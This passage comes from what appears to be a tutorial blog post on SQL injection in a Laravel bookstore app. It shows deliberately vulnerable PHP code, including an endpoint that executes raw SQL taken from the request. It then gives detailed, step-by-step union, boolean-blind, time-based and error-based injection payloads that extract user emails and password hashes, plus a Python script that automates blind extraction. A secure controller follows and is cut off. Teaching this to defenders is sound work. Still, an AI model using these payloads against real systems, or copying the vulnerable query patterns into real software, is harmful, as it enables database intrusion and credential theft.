        $sql .= " AND b.price BETWEEN {$minPrice} AND {$maxPrice}";

        // Simulate complex processing that takes time
        $sql .= " AND (SELECT SLEEP(0.1)) = 0"; // Perfect for time-based attacks

        $books = DB::select($sql);

        return response()->json([
            'books' => $books,
            'query_executed' => $sql,
            'execution_time' => microtime(true) - LARAVEL_START
        ]);
    }

    /**
     * โŒ CRITICAL VULNERABILITY: Admin backdoor with injection
     */
    public function adminQuery(Request $request)
    {
        // ๐Ÿšจ EXTREME DANGER: Direct query execution
        $query = $request->get('query');
        $table = $request->get('table', 'books');

        if (empty($query)) {
            $query = "SELECT * FROM {$table} LIMIT 10";
        }

        try {
            $results = DB::select($query);

            return response()->json([
                'success' => true,
                'data' => $results,
                'query' => $query,
                'rows_affected' => count($results)
            ]);

        } catch (\Exception $e) {
            return response()->json([
                'success' => false,
                'error' => $e->getMessage(),
                'query' => $query,
                'error_code' => $e->getCode()
            ]);
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

๐ŸŽฏ 2. Vulnerable Views untuk Testing

{{-- resources/views/books/vulnerable-search.blade.php --}}
@extends('layouts.app')

@section('content')
<div class="container">
    <div class="row">
        <div class="col-md-12">
            <h2>๐Ÿšจ Vulnerable Book Search (FOR TESTING ONLY)</h2>
            <div class="alert alert-danger">
                <strong>โš ๏ธ WARNING:</strong> This page is intentionally vulnerable for educational purposes. 
                Do NOT use this code in production!
            </div>

            <form method="GET" action="{{ route('vulnerable.books.search') }}" class="mb-4">
                <div class="row">
                    <div class="col-md-8">
                        <input type="text" 
                               name="search" 
                               value="{{ $search ?? '' }}" 
                               placeholder="Search books... (Try: ' OR '1'='1)" 
                               class="form-control">
                        <small class="text-muted">
                            Try injection payloads like: <code>' OR '1'='1</code>, 
                            <code>' UNION SELECT database(), version(), 3, 4, 5, 6 --</code>
                        </small>
                    </div>
                    <div class="col-md-4">
                        <button type="submit" class="btn btn-primary">Search</button>
                        <a href="{{ route('vulnerable.books.search') }}" class="btn btn-secondary">Clear</a>
                    </div>
                </div>
            </form>

            @if(isset($books))
                <div class="mt-4">
                    <h4>Search Results: <span class="badge badge-info">{{ count($books) }}</span></h4>

                    @if(count($books) > 0)
                        <div class="table-responsive">
                            <table class="table table-striped">
                                <thead>
                                    <tr>
                                        <th>ID</th>
                                        <th>Title</th>
                                        <th>Author</th>
                                        <th>Price</th>
                                        <th>Comments</th>
                                        <th>Rating</th>
                                        <th>Actions</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    @foreach($books as $book)
                                        <tr>
                                            <td>{{ $book->id ?? 'N/A' }}</td>
                                            <td>{{ $book->title ?? 'N/A' }}</td>
                                            <td>{{ $book->author ?? 'N/A' }}</td>
                                            <td>{{ isset($book->price) ? 'Rp ' . number_format($book->price, 0, ',', '.') : 'N/A' }}</td>
                                            <td>{{ $book->comment_count ?? 0 }}</td>
                                            <td>
                                                @if(isset($book->avg_rating))
                                                    {{ number_format($book->avg_rating, 1) }}/5
                                                @else
                                                    N/A
                                                @endif
                                            </td>
                                            <td>
                                                @if(isset($book->id))
                                                    <a href="{{ route('vulnerable.books.details', $book->id) }}" class="btn btn-sm btn-info">
                                                        View Details
                                                    </a>
                                                @endif
                                            </td>
                                        </tr>
                                    @endforeach
                                </tbody>
                            </table>
                        </div>
                    @else
                        <div class="alert alert-info">
                            No books found for your search.
                        </div>
                    @endif
                </div>
            @endif

            <div class="mt-5">
                <h5>๐Ÿ” Test Payloads for Learning</h5>
                <div class="row">
                    <div class="col-md-6">
                        <h6>Basic Injection Tests:</h6>
                        <ul class="list-unstyled">
                            <li><code>' OR '1'='1</code> - Always true condition</li>
                            <li><code>' OR 1=1 --</code> - Comment out rest of query</li>
                            <li><code>' AND '1'='2</code> - Always false condition</li>
                            <li><code>'; SELECT database(); --</code> - Multiple statements</li>
                        </ul>
                    </div>
                    <div class="col-md-6">
                        <h6>Advanced Injection Tests:</h6>
                        <ul class="list-unstyled">
                            <li><code>' UNION SELECT 1,2,3,4,5,6 --</code> - Column discovery</li>
                            <li><code>' UNION SELECT database(),version(),3,4,5,6 --</code> - Info gathering</li>
                            <li><code>' UNION SELECT table_name,2,3,4,5,6 FROM information_schema.tables --</code></li>
                            <li><code>' AND SLEEP(5) --</code> - Time-based detection</li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
@endsection
Enter fullscreen mode Exit fullscreen mode

๐ŸŒ 3. Routes Setup

// routes/web.php
<?php
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\VulnerableBookController;
use App\Http\Controllers\SecureBookController;

/*
|--------------------------------------------------------------------------
| Vulnerable Routes (Educational Purpose Only)
|--------------------------------------------------------------------------
*/

Route::prefix('vulnerable')->name('vulnerable.')->group(function () {
    Route::get('/books', [VulnerableBookController::class, 'index'])->name('books.index');
    Route::get('/books/search', [VulnerableBookController::class, 'search'])->name('books.search');
    Route::get('/books/{id}', [VulnerableBookController::class, 'details'])->name('books.details');
    Route::get('/books/check/availability', [VulnerableBookController::class, 'checkAvailability'])->name('books.availability');
    Route::post('/books/complex-search', [VulnerableBookController::class, 'complexSearch'])->name('books.complex-search');
    Route::post('/admin/query', [VulnerableBookController::class, 'adminQuery'])->name('admin.query');
});

/*
|--------------------------------------------------------------------------
| Secure Routes (Production Ready)
|--------------------------------------------------------------------------
*/

Route::prefix('secure')->name('secure.')->group(function () {
    Route::get('/books', [SecureBookController::class, 'index'])->name('books.index');
    Route::get('/books/search', [SecureBookController::class, 'search'])->name('books.search');
    Route::get('/books/{book}', [SecureBookController::class, 'details'])->name('books.details');
    Route::post('/books/search-advanced', [SecureBookController::class, 'advancedSearch'])->name('books.advanced-search');
});

/*
|--------------------------------------------------------------------------
| Default Routes
|--------------------------------------------------------------------------
*/

Route::get('/', function () {
    return view('welcome', [
        'vulnerableRoutes' => [
            'Search' => route('vulnerable.books.search'),
            'Index' => route('vulnerable.books.index'),
            'Complex Search' => url('/vulnerable/books/complex-search'),
        ],
        'secureRoutes' => [
            'Search' => route('secure.books.search'),
            'Index' => route('secure.books.index'),
        ]
    ]);
});

Auth::routes();
Route::get('/home', [App\Http\Controllers\HomeController::class, 'index'])->name('home');
Enter fullscreen mode Exit fullscreen mode

๐Ÿ”ฅ Detailed Exploitation Examples

๐Ÿ’€ 1. Union-based SQL Injection - Step by Step

Target URL:

http://localhost:8000/vulnerable/books/search?search=test
Enter fullscreen mode Exit fullscreen mode

Phase 1: Reconnaissance

-- Step 1: Test for injection vulnerability
search=test' AND '1'='1
// Expected: Normal results (condition is TRUE)

search=test' AND '1'='2  
// Expected: No results or error (condition is FALSE)

-- Step 2: Determine number of columns in original query
search=test' ORDER BY 1 --
// Works? Continue...

search=test' ORDER BY 2 --
// Works? Continue...

search=test' ORDER BY 6 --
// Works? Continue...

search=test' ORDER BY 7 --
// Error? Original query has 6 columns
Enter fullscreen mode Exit fullscreen mode

Phase 2: Information Gathering

-- Step 3: Determine which columns are displayed
search=test' UNION SELECT 1,2,3,4,5,6 --
// Note which numbers appear in the results

-- Step 4: Extract database information
search=test' UNION SELECT database(),version(),user(),@@datadir,5,6 --
// Results might show: laravel_demo, 8.0.30-MySQL, app_user@localhost, /var/lib/mysql

-- Step 5: Extract table names
search=test' UNION SELECT table_name,table_schema,3,4,5,6 FROM information_schema.tables WHERE table_schema=database() --
// Results: books, users, comments, audit_logs, etc.
Enter fullscreen mode Exit fullscreen mode

Phase 3: Data Extraction

-- Step 6: Extract column names from sensitive tables
search=test' UNION SELECT column_name,table_name,data_type,4,5,6 FROM information_schema.columns WHERE table_name='users' --
// Results: id, name, email, password, remember_token, etc.

-- Step 7: Extract sensitive data
search=test' UNION SELECT name,email,password,4,5,6 FROM users WHERE email LIKE '%admin%' --
// Results: Admin User, admin@example.com, $2y$10$hash...

-- Step 8: Extract all user data (if needed)
search=test' UNION SELECT CONCAT(name,':',email,':',LEFT(password,20)),2,3,4,5,6 FROM users LIMIT 5 --
Enter fullscreen mode Exit fullscreen mode

Advanced Techniques:

-- Extract data from multiple tables
search=test' UNION SELECT 
    CONCAT('USER:', u.name, ' | BOOK:', b.title, ' | COMMENT:', c.content),
    2,3,4,5,6 
FROM users u 
JOIN comments c ON u.id = c.user_id 
JOIN books b ON c.book_id = b.id 
LIMIT 10 --

-- Extract configuration data
search=test' UNION SELECT variable_name,variable_value,3,4,5,6 FROM information_schema.global_variables WHERE variable_name LIKE '%version%' --
Enter fullscreen mode Exit fullscreen mode

๐ŸŽฏ 2. Boolean-based Blind SQL Injection

Target URL:

http://localhost:8000/vulnerable/books/check/availability?isbn=978-0123456789&location=main
Enter fullscreen mode Exit fullscreen mode

Phase 1: Vulnerability Detection

-- Test 1: True condition
isbn=978-0123456789' AND '1'='1' --
// Response: {"status":"available","message":"Book is available"}

-- Test 2: False condition  
isbn=978-0123456789' AND '1'='2' --
// Response: {"status":"unavailable","message":"Book is not available"}

-- Confirmed: Boolean-based blind injection possible
Enter fullscreen mode Exit fullscreen mode

Phase 2: Information Extraction

-- Extract database name length
isbn=978-0123456789' AND LENGTH(database())=1 --  // unavailable
isbn=978-0123456789' AND LENGTH(database())=2 --  // unavailable
...
isbn=978-0123456789' AND LENGTH(database())=18 -- // available
// Database name is 18 characters long

-- Extract database name character by character
isbn=978-0123456789' AND SUBSTRING(database(),1,1)='a' --  // unavailable
isbn=978-0123456789' AND SUBSTRING(database(),1,1)='i' --  // available
// First character is 'i'

isbn=978-0123456789' AND SUBSTRING(database(),2,1)='n' --  // available
// Second character is 'n'

// Continue until complete: "injection_security_demo"
Enter fullscreen mode Exit fullscreen mode

Phase 3: Table Discovery

-- Check if 'users' table exists
isbn=978-0123456789' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users' AND table_schema=database())=1 --
// Response: available = table exists

-- Count users in table
isbn=978-0123456789' AND (SELECT COUNT(*) FROM users)>0 --  // available
isbn=978-0123456789' AND (SELECT COUNT(*) FROM users)>5 --  // available  
isbn=978-0123456789' AND (SELECT COUNT(*) FROM users)>10 -- // unavailable
// Between 6-10 users exist
Enter fullscreen mode Exit fullscreen mode

Phase 4: Data Extraction

-- Extract admin user existence
isbn=978-0123456789' AND (SELECT COUNT(*) FROM users WHERE email LIKE '%admin%')>0 --
// Response: available = admin user exists

-- Extract admin password length
isbn=978-0123456789' AND (SELECT LENGTH(password) FROM users WHERE email LIKE '%admin%' LIMIT 1)=60 --
// Response: available = password hash is 60 characters (bcrypt)

-- Extract admin email character by character
isbn=978-0123456789' AND SUBSTRING((SELECT email FROM users WHERE email LIKE '%admin%' LIMIT 1),1,1)='a' --
// Continue extraction process...
Enter fullscreen mode Exit fullscreen mode

Automation Script Example:

import requests
import string
import time

def blind_sql_injection(url, injection_point, payload_template):
    """
    Automated boolean-based blind SQL injection
    """
    characters = string.ascii_lowercase + string.digits + '@.-_'
    result = ""

    for position in range(1, 50):  # Max 50 characters
        for char in characters:
            payload = payload_template.format(position=position, char=char)
            params = {injection_point: payload}

            response = requests.get(url, params=params)

            if '"status":"available"' in response.text:
                result += char
                print(f"Found character {position}: {char} (Current: {result})")
                break

            time.sleep(0.1)  # Be nice to the server
        else:
            break  # No more characters found

    return result

# Example usage
url = "http://localhost:8000/vulnerable/books/check/availability"
payload_template = "978-0123456789' AND SUBSTRING((SELECT database()),{position},1)='{char}' --"
database_name = blind_sql_injection(url, 'isbn', payload_template)
print(f"Database name: {database_name}")
Enter fullscreen mode Exit fullscreen mode

โฐ 3. Time-based Blind SQL Injection

Target URL:

http://localhost:8000/vulnerable/books/complex-search
Enter fullscreen mode Exit fullscreen mode

Phase 1: Detection

-- Test with delay
POST /vulnerable/books/complex-search
Content-Type: application/x-www-form-urlencoded

title=test' AND SLEEP(5) --

// Response time: ~5 seconds = vulnerable
Enter fullscreen mode Exit fullscreen mode

Phase 2: Data Extraction

-- Extract database name length with time delay
title=test' AND IF(LENGTH(database())=18, SLEEP(5), 0) --
// Delay = 18 characters

-- Extract characters with time delay
title=test' AND IF(SUBSTRING(database(),1,1)='i', SLEEP(3), 0) --
// 3 second delay = first character is 'i'

-- Extract admin user data
title=test' AND IF((SELECT COUNT(*) FROM users WHERE email='admin@example.com')>0, SLEEP(5), 0) --
// 5 second delay = admin user exists

-- Extract password hash character by character
title=test' AND IF(SUBSTRING((SELECT password FROM users WHERE email='admin@example.com'),1,1)='$', SLEEP(3), 0) --
// 3 second delay = first character is '$' (bcrypt hash)
Enter fullscreen mode Exit fullscreen mode

Advanced Time-based Techniques:

-- Binary search for faster extraction
title=test' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE email='admin@example.com'),1,1))>64, SLEEP(2), 0) --

-- Extract multiple data points
title=test' AND IF((SELECT COUNT(*) FROM users WHERE created_at > '2024-01-01')>5, SLEEP(4), 0) --

-- Conditional data extraction
title=test' AND IF((SELECT user_id FROM comments WHERE content LIKE '%excellent%' LIMIT 1)=1, SLEEP(3), 0) --
Enter fullscreen mode Exit fullscreen mode

๐Ÿ” 4. Error-based SQL Injection

Target URL:

http://localhost:8000/vulnerable/books/details/1
Enter fullscreen mode Exit fullscreen mode

Technique: Double Query Error-based Injection

-- Payload structure
id=1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT sensitive_data), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)

-- Extract database version
id=1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)
// Error: Duplicate entry '8.0.30-MySQL1' for key 'group_key'

-- Extract database name  
id=1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)
// Error: Duplicate entry 'injection_security_demo1' for key 'group_key'

-- Extract table names
id=1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)
// Error: Duplicate entry 'users1' for key 'group_key'

-- Extract user data
id=1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT CONCAT(name,':',email) FROM users LIMIT 1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)
// Error: Duplicate entry 'Admin User:admin@example.com1' for key 'group_key'
Enter fullscreen mode Exit fullscreen mode

Alternative Error-based Techniques:

-- Using EXTRACTVALUE (MySQL)
id=1 AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))
// Error: XPATH syntax error: '~injection_security_demo~'

-- Using UPDATEXML (MySQL)
id=1 AND UPDATEXML(1, CONCAT(0x7e, (SELECT user()), 0x7e), 1)
// Error: XPATH syntax error: '~app_user@localhost~'

-- Using geometric functions (MySQL)
id=1 AND GEOMETRYCOLLECTION((SELECT user()))
// Error: Illegal non geometric 'app_user@localhost' value found
Enter fullscreen mode Exit fullscreen mode

๐Ÿ›ก๏ธ SECURE IMPLEMENTATION - Production Ready

โœ… 1. SecureBookController - The Right Way


php
// app/Http/Controllers/SecureBookController.php
<?php
namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;
use App\Models\Book;
use App\Models\Comment;
use App\Models\AuditLog;
use App\Http\Requests\BookSearchRequest;

class SecureBookController extends Controller
{
    /**
     * โœ… SECURE: Comprehensive search with multiple protection layers
     */
    public function search(BookSearchRequest $request)
    {
        // Input already validated by BookSearchRequest
        $validated = $request->getSafeInput();
        $search = $validated['search'] ?? '';
        $category = $validated['category'] ?? '';
        $sortBy = $validated['sort_by'] ?? 'title';
        $order = $validated['order'] ?? 'asc';
        $perPage = $validated['per_page'] ?? 10;

        // Rate limiting check
        $cacheKey = 'search_limit:' . request()->ip();
        $searchCount = Cache::get($cacheKey, 0);

        if ($searchCount > 30) { // Max 30 searches per minute
            AuditLog::logSecurityEvent(
                'rate_limit_exceeded',
                'medium',
                'Search rate limit exceeded',
                ['ip' => request()->ip(), 'count' => $searchCount]
            );

            return response()->json(['error' => 'Rate limit exceeded'], 429);
        }

        Cache::put($cacheKey, $searchCount + 1, 60);

        // Build secure query using Eloquent Query Builder
        $query = Book::query();

        // Safe search implementation
        if (!empty($search)) {
            $query->searchSafe($search);
        }

        // Safe category filtering
        if (!empty($category)) {
            $query->byCategory($category);
        }

        // Safe sorting with whitelist
        $allowedSortColumns = ['title', 'author', 'price', 'created_at'];
        if (in_array($sortBy, $allowedSortColumns)) {
            $query->orderBy($sortBy, $order);
        }

        // Execute query with pagination
        $books = $query->with(['approvedComments' => function($q) {
                $q->with('user:id,name')
                  ->select('id', 'book_id', 'user_id', 'rating', 'content', 'created_at')
                  ->latest()
                  ->limit(3);
            }])
            ->paginate($perPage);

        // Log successful search
        Log::info('Secure search executed', [
            'search_term' => $search,
            'category' => $category,
            'results_count' => $books->count(),
            'user_ip' => request()->ip()
        ]);

        return view('books.secure-search', compact('books', 'search', 'category'));
    }

    /**
     * โœ…
Enter fullscreen mode Exit fullscreen mode

Top comments (1)

Collapse
 
faizalardian profile image
Faizal Ardian Putra

Mantap bang!